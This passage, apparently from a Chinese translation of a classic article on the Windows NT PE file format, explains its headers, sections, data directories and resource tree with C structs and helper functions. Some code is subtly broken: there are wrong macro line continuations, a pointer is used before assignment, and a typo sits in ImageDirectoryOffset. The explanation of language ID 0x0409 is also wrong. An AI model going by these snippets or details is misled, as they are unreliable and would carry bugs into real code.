  USHORT e_cparhdr; // 头部尺寸,以段落为单位
  USHORT e_minalloc; // 所需的最小附加段
  USHORT e_maxalloc; // 所需的最大附加段
  USHORT e_ss; // 初始的SS值(相对偏移量)
  USHORT e_sp; // 初始的SP值
  USHORT e_csum; // 校验和
  USHORT e_ip; // 初始的IP值
  USHORT e_cs; // 初始的CS值(相对偏移量)
  USHORT e_lfarlc; // 重分配表文件地址
  USHORT e_ovno; // 覆盖号
  USHORT e_res[4]; // 保留字
  USHORT e_oemid; // OEM标识符(相对e_oeminfo)
  USHORT e_oeminfo; // OEM信息
  USHORT e_res2[10]; // 保留字
  LONG e_lfanew; // 新exe头部的文件地址
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

第 一个域e_magic,被称为魔术数字,它被用于表示一个MS-DOS兼容的文件类型。所有MS-DOS兼容的可执行文件都将这个值设为0x5A4D,表 示ASCII字符MZ。MS-DOS头部之所以有的时候被称为MZ头部,就是这个缘故。还有许多其它的域对于MS-DOS操作系统来说都有用,但是对于 Windows NT来说,这个结构中只有一个有用的域——最后一个域e_lfnew,一个4字节的文件偏移量,PE文件头部就是由它定位的。对于 Windows NT的PE文件来说,PE文件头部是紧跟在MS-DOS头部和实模式程序残余之后的。 

实模式残余程序 

    实模式残余程序是一个在装载时能够被MS-DOS运行的实际程序。对于一个MS-DOS的可执行映像文件,应用程序就是从这里执行的。对于 Windows、OS/2、Windows NT这些操作系统来说,MS-DOS残余程序就代替了主程序的位置被放在这里。这种残余程序通常什么也不做, 而只是输出一行文本,例如:“This program requires Microsoft Windows v3.1 or greater.”当 然,用户可以在此放入任何的残余程序,这就意味着你可能经常看到像这样的东西: “You can''t run a Windows NT application on OS/2, it''s simply not possible.” 
    当为Windows 3.1构建一个应用程序的时候,链接器将向你的可执行文件中链接一个名为WINSTUB.EXE的默认残余程序。你可以用一个基 于MS-DOS的有效程序取代WINSTUB,并且用STUB模块定义语句指示链接器,这样就能够取代链接器的默认行为。为Windows NT开发的应 用程序可以通过使用-STUB:链接器选项来实现。 

PE文件头部与标志 

   PE文件头部是由MS-DOS头部的e_lfanew域定位的,这个域只是给出了文件的偏移量,所以要确定PE头部的实际内存映射地址,就需要添加文件的内存映射基地址。例如,以下的宏是包含在PEFILE.H源文件之中的: 
//PEFILE.H

#define NTSIGNATURE(a) ((LPVOID)((BYTE *)a + /
                       ((PIMAGE_DOS_HEADER)a)->e_lfanew))
在处理PE文件信息的时候,我发现文件之中有些位置需要经常查阅。既然这些位置仅仅是对文件的偏移量,那么用宏来实现这些定位就比较容易,因为它们较之函数有更好的表现。 
    请注意这个宏所获得的是PE文件标志,而并非PE文件头部的偏移量。那是由于自Windows与OS/2的可执行文件开始,.EXE文件都被赋予了目 标操作系统的标志。对于Windows NT的PE文件格式而言,这一标志在PE文件头部结构之前。在Windows和OS/2的某些版本中,这一标志是 文件头的第一个字。同样,对于PE文件格式,Windows NT使用了一个DWORD值。 
   以上的宏返回了文件标志的偏移量,而不管它是 哪种类型的可执行文件。所以,文件头部是在DWORD标志之后,还是在WORD标志处,是由这个标志是否Windows NT文件标志所决定的。要解决这 个问题,我编写了ImageFileType函数(如下),它返回了映像文件的类型: 
//PEFILE.C


DWORD WINAPI ImageFileType (LPVOID lpFile)
{
  /* 首先出现的是DOS文件标志 */
  if (*(USHORT *)lpFile == IMAGE_DOS_SIGNATURE)
  {
    /* 由DOS头部决定PE文件头部的位置 */
    if (LOWORD (*(DWORD *)NTSIGNATURE (lpFile)) ==
        IMAGE_OS2_SIGNATURE ||
        LOWORD (*(DWORD *)NTSIGNATURE (lpFile)) ==
        IMAGE_OS2_SIGNATURE_LE)
      return (DWORD)LOWORD(*(DWORD *)NTSIGNATURE (lpFile));
    else if (*(DWORD *)NTSIGNATURE (lpFile) ==
      IMAGE_NT_SIGNATURE)
    return IMAGE_NT_SIGNATURE;
    else
      return IMAGE_DOS_SIGNATURE;
  }
  else
    /* 不明文件种类 */
    return 0;
}


以上列出的代码立即告诉了你NTSIGNATURE宏有多么有用。对于比较不同文件类型并且返回一个适当的文件种类来说,这个宏就会使这两件事变得非常简单。WINNT.H之中定义的四种不同文件类型有: //WINNT.H

#define IMAGE_DOS_SIGNATURE 0x5A4D // MZ
#define IMAGE_OS2_SIGNATURE 0x454E // NE
#define IMAGE_OS2_SIGNATURE_LE 0x454C // LE
#define IMAGE_NT_SIGNATURE 0x00004550 // PE00
 
首 先,Windows的可执行文件类型没有出现在这一列表中,这一点看起来很奇怪。但是,在稍微研究一下之后,就能得到原因了:除了操作系统版本规范的不同 之外,Windows的可执行文件和OS/2的可执行文件实在没有什么区别。这两个操作系统拥有相同的可执行文件结构。 
   现在把我们的注意力转向Windows NT PE文件格式,我们会发现只要我们得到了文件标志的位置,PE文件之后就会有4个字节相跟随。下一个宏标识了PE文件的头部: //PEFILE.C

#define PEFHDROFFSET(a) ((LPVOID)((BYTE *)a + /
                        ((PIMAGE_DOS_HEADER)a)->e_lfanew + /
                        SIZE_OF_NT_SIGNATURE))
  
这个宏与上一个宏的唯一不同是这个宏加入了一个常量SIZE_OF_NT_SIGNATURE。不幸的是,这个常量并未定义在WINNT.H之中,于是我将它定义在了PEFILE.H中,它是一个DWORD的大小。 
   既然我们知道了PE文件头的位置,那么就可以检查头部的数据了。我们只需要把这个位置赋值给一个结构,如下: PIMAGE_FILE_HEADER pfh;
pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(lpFile);
在这个例子中,lpFile表示一个指向可执行文件内存映像基地址的指针,这就显出了内存映射文件的好处:不需要执行文件的I/O,只需使用指针pfh就能存取文件中的信息。PE文件头结构被定义为: //WINNT.H


typedef struct _IMAGE_FILE_HEADER {
  USHORT Machine;
  USHORT NumberOfSections;
  ULONG TimeDateStamp;
  ULONG PointerToSymbolTable;
  ULONG NumberOfSymbols;
  USHORT SizeOfOptionalHeader;
  USHORT Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

#define IMAGE_SIZEOF_FILE_HEADER 20


请 注意这个文件头部的大小已经定义在这个包含文件之中了,这样一来,想要得到这个结构的大小就很方便了。但是我觉得对结构本身使用sizeof运算符(译 注:原文为“function”)更简单一些,因为这样的话我就不必记住这个常量的名字IMAGE_SIZEOF_FILE_HEADER,而只需要记住 结构IMAGE_FILE_HEADER的名字就可以了。另一方面,记住所有结构的名字已经够有挑战性的了,尤其在是这些结构只有WINNT.H中才有的 情况下。 
   PE文件中的信息基本上是一些高级信息,这些信息是被操作系统或者应用程序用来决定如何处理这个文件的。第一个域是用来表示这个 可执行文件被构建的目标机器种类,例如DEC(R) Alpha、MIPS R4000、Intel(R) x86或一些其它处理器。系统使用这一信息来 在读取这个文件的其它数据之前决定如何处理它。 
   Characteristics域表示了文件的一些特征。比如对于一个可执行文件而言,分 离调试文件是如何操作的。调试器通常使用的方法是将调试信息从PE文件中分离,并保存到一个调试文件(.DBG)中。要这么做的话,调试器需要了解是否要 在一个单独的文件中寻找调试信息,以及这个文件是否已经将调试信息分离了。我们可以通过深入可执行文件并寻找调试信息的方法来完成这一工作。要使调试器不 在文件中查找的话,就需要用到IMAGE_FILE_DEBUG_STRIPPED这个特征,它表示文件的调试信息是否已经被分离了。这样一来,调试器可 以通过快速查看PE文件的头部的方法来决定文件中是否存在着调试信息。 
   WINNT.H定义了若干其它表示文件头信息的标记,就和以上的例子差不多。我把研究这些标记的事情留给读者作为练习,由你们来看看它们是不是很有趣,这些标记位于WINNT.H中的IMAGE_FILE_HEADER结构之后。 
    PE文件头结构中另一个有用的入口是NumberOfSections域,它表示如果你要方便地提取文件信息的话,就需要了解多少个段——更明确一点 来说,有多少个段头部和多少个段实体。每一个段头部和段实体都在文件中连续地排列着,所以要决定段头部和段实体在哪里结束的话,段的数目是必需的。以下的 函数从PE文件头中提取了段的数目: PEFILE.C
int WINAPI NumOfSections(LPVOID lpFile)
{
  /* 文件头部中所表示出的段数目 */
  return (int)((PIMAGE_FILE_HEADER)
    PEFHDROFFSET (lpFile))->NumberOfSections);
}

如你所见,PEFHDROFFSET以及其它宏用起来非常方便。

PE可选头部 

   PE可执行文件中接下来的224个字节组成了PE可选头部。虽然它的名字是“可选头部”,但是请确信:这个头部并非“可选”,而是“必需”的。OPTHDROFFSET宏可以获得指向可选头部的指针: //PEFILE.H

#define OPTHDROFFSET(a) ((LPVOID)((BYTE *)a + /
                        ((PIMAGE_DOS_HEADER)a)->e_lfanew + /
                        SIZE_OF_NT_SIGNATURE + /
                        sizeof(IMAGE_FILE_HEADER)))
  
可选头部包含了很多关于可执行映像的重要信息,例如初始的堆栈大小、程序入口点的位置、首选基地址、操作系统版本、段对齐的信息等等。IMAGE_OPTIONAL_HEADER结构如下: //WINNT.H

typedef struct _IMAGE_OPTIONAL_HEADER {
  //
  // 标准域
  //
  USHORT Magic;
  UCHAR MajorLinkerVersion;
  UCHAR MinorLinkerVersion;
  ULONG SizeOfCode;
  ULONG SizeOfInitializedData;
  ULONG SizeOfUninitializedData;
  ULONG AddressOfEntryPoint;
  ULONG BaseOfCode;
  ULONG BaseOfData;
  //
  // NT附加域
  //
  ULONG ImageBase;
  ULONG SectionAlignment;
  ULONG FileAlignment;
  USHORT MajorOperatingSystemVersion;
  USHORT MinorOperatingSystemVersion;
  USHORT MajorImageVersion;
  USHORT MinorImageVersion;
  USHORT MajorSubsystemVersion;
  USHORT MinorSubsystemVersion;
  ULONG Reserved1;
  ULONG SizeOfImage;
  ULONG SizeOfHeaders;
  ULONG CheckSum;
  USHORT Subsystem;
  USHORT DllCharacteristics;
  ULONG SizeOfStackReserve;
  ULONG SizeOfStackCommit;
  ULONG SizeOfHeapReserve;
  ULONG SizeOfHeapCommit;
  ULONG LoaderFlags;
  ULONG NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;


如你所见,这个结构中所列出的域实在是冗长得过分。为了不让你对所有这些域感到厌烦,我会仅仅讨论有用的——就是说,对于探究PE文件格式而言有用的。 

标准域 

   首先,请注意这个结构被划分为“标准域”和“NT附加域”。所谓标准域,就是和UNIX可执行文件的COFF格式所公共的部分。虽然标准域保留了COFF中定义的名字,但是Windows NT仍然将它们用作了不同的目的——尽管换个名字更好一些。 
   ·Magic。我不知道这个域是干什么的,对于示例程序EXEVIEW.EXE示例程序而言,这个值是0x010B或267(译注:0x010B为.EXE,0x0107为ROM映像,这个信息我是从eXeScope上得来的)。 
   ·MajorLinkerVersion、MinorLinkerVersion。表示链接此映像的链接器版本。随Window NT build 438配套的Windows NT SDK包含的链接器版本是2.39(十六进制为2.27)。 
   ·SizeOfCode。可执行代码尺寸。 
   ·SizeOfInitializedData。已初始化的数据尺寸。 
   ·SizeOfUninitializedData。未初始化的数据尺寸。 
    ·AddressOfEntryPoint。在标准域中,AddressOfEntryPoint域是对PE文件格式来说最为有趣的了。这个域表示应 用程序入口点的位置。并且,对于系统黑客来说,这个位置就是导入地址表(IAT)的末尾。以下的函数示范了如何从可选头部获得Windows NT可执行 映像的入口点。 //PEFILE.C

LPVOID WINAPI GetModuleEntryPoint(LPVOID lpFile)
{
  PIMAGE_OPTIONAL_HEADER poh;
  poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(lpFile);
  if (poh != NULL)
    return (LPVOID)poh->AddressOfEntryPoint;
  else
    return NULL;
}


·BaseOfCode。已载入映像的代码(“.text”段)的相对偏移量。 
   ·BaseOfData。已载入映像的未初始化数据(“.bss”段)的相对偏移量。 

Windows NT附加域 

   添加到Windows NT PE文件格式中的附加域为Windows NT特定的进程行为提供了装载器的支持,以下为这些域的概述。 
   ·ImageBase。进程映像地址空间中的首选基地址。Windows NT的Microsoft Win32 SDK链接器将这个值默认设为0x00400000,但是你可以使用-BASE:linker开关改变这个值。 
   ·SectionAlignment。从ImageBase开始,每个段都被相继的装入进程的地址空间中。SectionAlignment则规定了装载时段能够占据的最小空间数量——就是说,段是关于SectionAlignment对齐的。 
   Windows NT虚拟内存管理器规定,段对齐不能少于页尺寸(当前的x86平台是4096字节),并且必须是成倍的页尺寸。4096字节是x86链接器的默认值,但是它可以通过-ALIGN: linker开关来设置。 
    ·FileAlignment。映像文件首先装载的最小的信息块间隔。例如,链接器将一个段实体(段的原始数据)加零扩展为文件中最接近的 FileAlignment边界。早先提及的2.39版链接器将映像文件以0x200字节的边界对齐,这个值可以被强制改为512到65535这么多。 
   ·MajorOperatingSystemVersion。表示Windows NT操作系统的主版本号;通常对Windows NT 1.0而言,这个值被设为1。 
   ·MinorOperatingSystemVersion。表示Windows NT操作系统的次版本号;通常对Windows NT 1.0而言,这个值被设为0。 
   ·MajorImageVersion。用来表示应用程序的主版本号;对于Microsoft Excel 4.0而言,这个值是4。 
   ·MinorImageVersion。用来表示应用程序的次版本号;对于Microsoft Excel 4.0而言,这个值是0。 
   ·MajorSubsystemVersion。表示Windows NT Win32子系统的主版本号;通常对于Windows NT 3.10而言,这个值被设为3。 
   ·MinorSubsystemVersion。表示Windows NT Win32子系统的次版本号;通常对于Windows NT 3.10而言,这个值被设为10。 
   ·Reserved1。未知目的,通常不被系统使用,并被链接器设为0。 
    ·SizeOfImage。表示载入的可执行映像的地址空间中要保留的地址空间大小,这个数字很大程度上受SectionAlignment的影响。 例如,考虑一个拥有固定页尺寸4096字节的系统,如果你有一个11个段的可执行文件,它的每个段都少于4096字节,并且关于65536字节边界对齐, 那么SizeOfImage域将会被设为11 * 65536 = 720896(176页)。而如果一个相同的文件关于4096字节对齐的话,那么 SizeOfImage域的结果将是11 * 4096 = 45056(11页)。这只是个简单的例子,它说明每个段需要少于一个页面的内存。在现实 中,链接器通过个别地计算每个段的方法来决定SizeOfImage确切的值。它首先决定每个段需要多少字节,并且最后将页面总数向上取整至最接近的 SectionAlignment边界,然后总数就是每个段个别需求之和了。 
   ·SizeOfHeaders。这个域表示文件中有多少空间用来保存所有的文件头部,包括MS-DOS头部、PE文件头部、PE可选头部以及PE段头部。文件中所有的段实体就开始于这个位置。 
   ·CheckSum。校验和是用来在装载时验证可执行文件的,它是由链接器设置并检验的。由于创建这些校验和的算法是私有信息,所以在此不进行讨论。 
   ·Subsystem。用于标识该可执行文件目标子系统的域。每个可能的子系统取值列于WINNT.H的IMAGE_OPTIONAL_HEADER结构之后。 
   ·DllCharacteristics。用来表示一个DLL映像是否为进程和线程的初始化及终止包含入口点的标记。 
    ·SizeOfStackReserve、SizeOfStackCommit、SizeOfHeapReserve、 SizeOfHeapCommit。这些域控制要保留的地址空间数量,并且负责栈和默认堆的申请。在默认情况下,栈和堆都拥有1个页面的申请值以及16个 页面的保留值。这些值可以使用链接器开关-STACKSIZE:与-HEAPSIZE:来设置。 
   ·LoaderFlags。告知装载器是否在装载时中止和调试,或者默认地正常运行。 
   ·NumberOfRvaAndSizes。这个域标识了接下来的DataDirectory数组。请注意它被用来标识这个数组,而不是数组中的各个入口数字,这一点非常重要。 
   ·DataDirectory。数据目录表示文件中其它可执行信息重要组成部分的位置。它事实上就是一个IMAGE_DATA_DIRECTORY结构的数组,位于可选头部结构的末尾。当前的PE文件格式定义了16种可能的数据目录,这之中的11种现在在使用中。 

数据目录 

WINNT.H之中所定义的数据目录为://WINNT.H
 
// 目录入口
// 导出目录
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0
// 导入目录
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1
// 资源目录
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2
// 异常目录
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3
// 安全目录
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4
// 重定位基本表
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5
// 调试目录
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6
// 描述字串
#define IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7
// 机器值(MIPS GP)
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8
// TLS目录
#define IMAGE_DIRECTORY_ENTRY_TLS 9
// 载入配置目录
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10
  
基本上,每个数据目录都是一个被定义为IMAGE_DATA_DIRECTORY的结构。虽然数据目录入口本身是相同的,但是每个特定的目录种类却是完全唯一的。每个数据目录的定义在本文的以后部分被描述为“预定义段”。 //WINNT.H

typedef struct _IMAGE_DATA_DIRECTORY {
  ULONG VirtualAddress;
  ULONG Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

每 个数据目录入口指定了该目录的尺寸和相对虚拟地址。如果你要定义一个特定的目录的话,就需要从可选头部中的数据目录数组中决定相对的地址,然后使用虚拟地 址来决定该目录位于哪个段中。一旦你决定了哪个段包含了该目录,该段的段头部就会被用于查找数据目录的精确文件偏移量位置。 
   所以要获得一个数据目录的话,那么首先你需要了解段的概念。我在下面会对其进行描述,这个讨论之后还有一个有关如何定位数据目录的示例。 

PE文件段 

    PE文件规范由目前为止定义的那些头部以及一个名为“段”的一般对象组成。段包含了文件的内容,包括代码、数据、资源以及其它可执行信息,每个段都有 一个头部和一个实体(原始数据)。我将在下面描述段头部的有关信息,但是段实体则缺少一个严格的文件结构。因此,它们几乎可以被链接器按任何的方法组织, 只要它的头部填充了足够能够解释数据的信息。 

段头部 

   PE文件格式中,所有的段头部位于可选头部之后。每个段头部为40个字节长,并且没有任何的填充信息。段头部被定义为以下的结构: //WINNT.H

#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
UCHAR Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    ULONG PhysicalAddress;
    ULONG VirtualSize;
  } Misc;
  ULONG VirtualAddress;
  ULONG SizeOfRawData;
  ULONG PointerToRawData;
  ULONG PointerToRelocations;
  ULONG PointerToLinenumbers;
  USHORT NumberOfRelocations;
  USHORT NumberOfLinenumbers;
  ULONG Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

你如何才能获得一个特定段的段头部信息?既然段头部是被连续的组织起来的,而且没有一个特定的顺序,那么段头部必须由名称来定位。以下的函数示范了如何从一个给定了段名称的PE映像文件中获得一个段头部: //PEFILE.C

BOOL WINAPI GetSectionHdrByName(LPVOID lpFile, IMAGE_SECTION_HEADER *sh, char *szSection)
{
  PIMAGE_SECTION_HEADER psh;
  int nSections = NumOfSections (lpFile);
  int i;
  if ((psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(lpFile))
      != NULL)
  {
    /* 由名称查找段 */
    for (i = 0; i < nSections; i++)
    {
      if (!strcmp(psh->Name, szSection))
      {
        /* 向头部复制数据 */
        CopyMemory((LPVOID)sh, (LPVOID)psh,
            sizeof(IMAGE_SECTION_HEADER));
        return TRUE;
      }
      else
        psh++;
    }
  }
  return FALSE;
}

这 个函数通过SECHDROFFSET宏将第一个段头部定位,然后它开始在所有段中循环,并将要寻找的段名称和每个段的名称相比较,直到找到了正确的那一个 为止。当找到了段的时候,函数将内存映像文件的数据复制到传入函数的结构中,然后IMAGE_SECTION_HEADER结构的各域就能够被直接存取 了。 

段头部的域 

   ·Name。每个段都有一个8字符长的名称域,并且第一个字符必须是一个句点。 
   ·PhysicalAddress或VirtualSize。第二个域是一个union域,现在已不使用了。 
    ·VirtualAddress。这个域标识了进程地址空间中要装载这个段的虚拟地址。实际的地址由将这个域的值加上可选头部结构中的 ImageBase虚拟地址得到。切记,如果这个映像文件是一个DLL,那么这个DLL就不一定会装载到ImageBase要求的位置。所以一旦这个文件 被装载进入了一个进程,实际的ImageBase值应该通过使用GetModuleHandle来检验。 
   ·SizeOfRawData。 这个域表示了相对FileAlignment的段实体尺寸。文件中实际的段实体尺寸将少于或等于FileAlignment的整倍数。一旦映像被装载进入 了一个进程的地址空间,段实体的尺寸将会变得少于或等于FileAlignment的整倍数。 
   ·PointerToRawData。这是一个文件中段实体位置的偏移量。 
   ·PointerToRelocations、PointerToLinenumbers、NumberOfRelocations、NumberOfLinenumbers。这些域在PE格式中不使用。 
   ·Characteristics。定义了段的特征。这些值可以在WINNT.H及本光盘(译注:MSDN的光盘)的PE格式规范中找到。 

值         定义 
0x00000020 代码段 
0x00000040 已初始化数据段 
0x00000080 未初始化数据段 
0x04000000 该段数据不能被缓存 
0x08000000 该段不能被分页 
0x10000000 共享段 
0x20000000 可执行段 
0x40000000 可读段 
0x80000000 可写段 

定位数据目录 

   数据目录存在于它们相应的数据段中。典型地来说,数据目录是段实体中的第一个结构,但不是必需的。由于这个缘故,如果你需要定位一个指定的数据目录的话,就需要从段头部和可选头部中获得信息。 
   为了让这个过程简单一点,我编写了以下的函数来定位任何一个在WINNT.H之中定义的数据目录。 // PEFILE.C

LPVOID WINAPI ImageDirectoryOffset(LPVOID lpFile,
    DWORD dwIMAGE_DIRECTORY)
{
  PIMAGE_OPTIONAL_HEADER poh;
  PIMAGE_SECTION_HEADER psh;
  int nSections = NumOfSections(lpFile);
  int i = 0;
  LPVOID VAImageDir;
  /* 必须为0到(NumberOfRvaAndSizes-1)之间 */
  if (dwIMAGE_DIRECTORY >= poh->NumberOfRvaAndSizes)
    return NULL;
  /* 获得可选头部和段头部的偏移量 */
  poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(lpFile);
  psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET(lpFile);
  /* 定位映像目录的相对虚拟地址 */
  VAImageDir = (LPVOID)poh->DataDirectory
      [dwIMAGE_DIRECTORY].VirtualAddress;
  /* 定位包含映像目录的段 */
  while (i++ < nSections)
  {
    if (psh->VirtualAddress <= (DWORD)VAImageDir &&
        psh->VirtualAddress + 
        psh->SizeOfRawData > (DWORD)VAImageDir)
      break;
    psh++;
  }
  if (i > nSections)
    return NULL;
  /* 返回映像导入目录的偏移量 */
  return (LPVOID)(((int)lpFile + 
    (int)VAImageDir. psh->VirtualAddress) +
    (int)psh->PointerToRawData);
}
  
该 函数首先确认被请求的数据目录入口数字,然后它分别获取指向可选头部和第一个段头部的两个指针。它从可选头部决定数据目录的虚拟地址,然后它使用这个值来 决定数据目录定位在哪个段实体之中。如果适当的段实体已经被标识了,那么数据目录特定的位置就可以通过将它的相对虚拟地址转换为文件中地址的方法来找到。
 
预定义段 

    一个Windows NT的应用程序典型地拥有9个预定义段,它们是.text、.bss、.rdata、.data、.rsrc、.edata、. idata、.pdata和.debug。一些应用程序不需要所有的这些段,同样还有一些应用程序为了自己特殊的需要而定义了更多的段。这种做法与MS- DOS和Windows 3.1中的代码段和数据段相似。事实上,应用程序定义一个独特的段的方法是使用标准编译器来指示对代码段和数据段的命名,或者使 用名称段编译器选项-NT——就和Windows 3.1中应用程序定义独特的代码段和数据段一样。 
   以下是一个关于Windows NT PE文件之中一些有趣的公共段的讨论。 

可执行代码段,.text 

    Windows 3.1和Windows NT之间的一个区别就是Windows NT默认的做法是将所有的代码段(正如它们在 Windows 3.1中所提到的那样)组成了一个单独的段,名为“.text”。既然Windows NT使用了基于页面的虚拟内存管理系统,那么将分 开的代码放入不同的段之中的做法就不太明智了。因此,拥有一个大的代码段对于操作系统和应用程序开发者来说,都是十分方便的。 
   .text 段也包含了早先提到过的入口点。IAT亦存在于.text段之中的模块入口点之前。(IAT在.text段之中的存在非常有意义,因为这个表事实上是一系 列的跳转指令,并且它们的跳转目标位置是已固定的地址。)当Windows NT的可执行映像装载入进程的地址空间时,IAT就和每一个导入函数的物理地 址一同确定了。要在.text段之中查找IAT,装载器只用将模块的入口点定位,而IAT恰恰出现于入口点之前。既然每个入口拥有相同的尺寸,那么向后退 查找这个表的起始位置就很容易了。 

数据段,.bss、.rdata、.data 

   .bss段表示应用程序的未初始化数据,包括所有函数或源模块中声明为static的变量。 
   .rdata段表示只读的数据,比如字符串文字量、常量和调试目录信息。 
   所有其它变量(除了出现在栈上的自动变量)存储在.data段之中。基本上,这些是应用程序或模块的全局变量。 

资源段,.rsrc 

   .rsrc段包含了模块的资源信息。它起始于一个资源目录结构,这个结构就像其它大多数结构一样,但是它的数据被更进一步地组织在了一棵资源树之中。以下的IMAGE_RESOURCE_DIRECTORY结构形成了这棵树的根和各个结点。 

//WINNT.H

typedef struct _IMAGE_RESOURCE_DIRECTORY {
  ULONG Characteristics;
  ULONG TimeDateStamp;
  USHORT MajorVersion;
  USHORT MinorVersion;
  USHORT NumberOfNamedEntries;
  USHORT NumberOfIdEntries;
} IMAGE_RESOURCE_DIRECTORY, *PIMAGE_RESOURCE_DIRECTORY;

请 看这个目录结构,你将会发现其中竟然没有指向下一个结点的指针。但是,在这个结构中有两个域NumberOfNamedEntries和 NumberOfIdEntries代替了指针,它们被用来表示这个目录附有多少入口。附带说一句,我的意思是目录入口就在段数据之中的目录后边。有名称 的入口按字母升序出现,再往后是按数值升序排列的ID入口。 
   一个目录入口由两个域组成,正如下面IMAGE_RESOURCE_DIRECTORY_ENTRY结构所描述的那样: // WINNT.H

typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY {
  ULONG Name;
  ULONG OffsetToData;
} IMAGE_RESOURCE_DIRECTORY_ENTRY, *PIMAGE_RESOURCE_DIRECTORY_ENTRY;

根据树的层级不同,这两个域也就有着不同的用途。Name域被用于标识一个资源种类,或者一种资源名称,或者一个资源的语言ID。OffsetToData与常常被用来在树之中指向兄弟结点——即一个目录结点或一个叶子结点。 
   叶子结点是资源树之中最底层的结点,它们定义了当前资源数据的尺寸和位置。IMAGE_RESOURCE_DATA_ENTRY结构被用于描述每个叶子结点: // WINNT.H

typedef struct _IMAGE_RESOURCE_DATA_ENTRY {
  ULONG OffsetToData;
  ULONG Size;
  ULONG CodePage;
  ULONG Reserved;
} IMAGE_RESOURCE_DATA_ENTRY, *PIMAGE_RESOURCE_DATA_ENTRY;

OffsetToData 和Size这两个域表示了当前资源数据的位置和尺寸。既然这一信息主要是在应用程序装载以后由函数使用的,那么将OffsetToData作为一个相对虚 拟的地址会更有意义一些。——幸甚,恰好是这样没错。非常有趣的是,所有其它的偏移量,比如从目录入口到其它目录的指针,都是相对于根结点位置的偏移量。  
   要更清楚地了解这些内容,请参考图2。 
screen.width-500)this.style.width=screen.width-500;">520)this.width=520;" style="CURSOR: hand" οnclick=javascript:window.open(this.src); src="http://www.vckbase.com/document/journal/vckbase38/images/pe2.gif" οnlοad="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
图2.一个简单的资源树结构 
   图2描述了一个非常简单的资源树,它包含了仅仅两个资源对象:一个菜单和一个字串表。更深一层地来说,它们各自都有一个子项。然而,你仍然可以看到资源树有多么复杂——即使它像这个一样只有一点点资源。 
   在树的根部,第一个目录有一个文件中包含的所有资源种类的入口,而不管资源种类有多少。在图2中,有两个由树根标识的入口,一个是菜单的,另一个是字串表的。如果文件中拥有一个或多个对话框资源,那么根结点会再拥有一个入口,因此,就有了对话框资源的另一个分支。 
   WINUSER.H中标识了基本的资源种类,我将它们列到了下面://WINUSER.H

/*
* 预定义的资源种类
*/
#define RT_CURSOR MAKEINTRESOURCE(1)
#define RT_BITMAP MAKEINTRESOURCE(2)
#define RT_ICON MAKEINTRESOURCE(3)
#define RT_MENU MAKEINTRESOURCE(4)
#define RT_DIALOG MAKEINTRESOURCE(5)
#define RT_STRING MAKEINTRESOURCE(6)
#define RT_FONTDIR MAKEINTRESOURCE(7)
#define RT_FONT MAKEINTRESOURCE(8)
#define RT_ACCELERATOR MAKEINTRESOURCE(9)
#define RT_RCDATA MAKEINTRESOURCE(10)
#define RT_MESSAGETABLE MAKEINTRESOURCE(11)
 
在树的第一层级,以上列出的MAKEINTRESOURCE值被放置在每个种类入口的Name处,它标识了不同的资源种类。 
   每个根目录的入口都指向了树中第二层级的一个兄弟结点,这些结点也是目录,并且每个都拥有它们自己的入口。在这一层级,目录被用来以给定的种类标识每一个资源种类。如果你的应用程序中有多个菜单,那么树中的第二层级会为每个菜单都准备一个入口。 
    你可能意识到了,资源可以由名称或整数标识。在这一层级,它们是通过目录结构的Name域来分辨的。如果如果Name域最重要的位被设置了,那么其它 的31个位就会被用作一个到IMAGE_RESOURCE_DIR_STRING_U结构的偏移量。 // WINNT.H

typedef struct _IMAGE_RESOURCE_DIR_STRING_U {
  USHORT Length;
  WCHAR NameString[1];
} IMAGE_RESOURCE_DIR_STRING_U, *PIMAGE_RESOURCE_DIR_STRING_U;

这个结构仅仅是由一个2字节长的Length域和一个UNICODE字符Length组成的。 
   另一方面,如果Name域最重要的位被清空,那么它的低31位就被用于表示资源的整数ID。图2示范的就是菜单资源作为一个命名的资源,以及字串表作为一个ID资源。 
    如果有两个菜单资源,一个由名称标识,另一个由资源标识,那么它们二者就会在菜单资源目录之后拥有两个入口。有名称的资源入口在第一位,之后是由整数 标识的资源。目录域NumberOfNamedEntries和NumberOfIdEntries将各自包含值1,表示当前的1个入口。 
    在第二层级的下面,资源树就不再更深一步地扩展分支了。第一层级分支至表示每个资源种类的目录中,第二层级分支至由标识符表示的每个资源的目录中,第三 层级是被个别标识的资源与它们各自的语言ID之间一对一的映射。要表示一个资源的语言ID,目录入口结构的Name域就被用来表示资源的主语言ID和子语 言ID了。Windows NT的Win32 SDK开发包中列出了默认的值资源,例如对于0x0409这个值来说,0x09表示主语言 LANG_ENGLISH,0x04则被定义为子语言的SUBLANG_ENGLISH_CAN。所有的语言ID值都定义于 Windows NT Win32 SDK开发包的文件WINNT.H中。 
   既然语言ID结点是树中最后的目录结点,那么入口结构的OffsetToData域就是到一个叶子结点(即前面提到过的IMAGE_RESOURCE_DATA_ENTRY结构)的偏移量。 
   再回过头来参考图2,你会发现每个语言目录入口都对应着一个数据入口。这个结点仅仅表示了资源数据的尺寸以及资源数据的相对虚拟地址。 
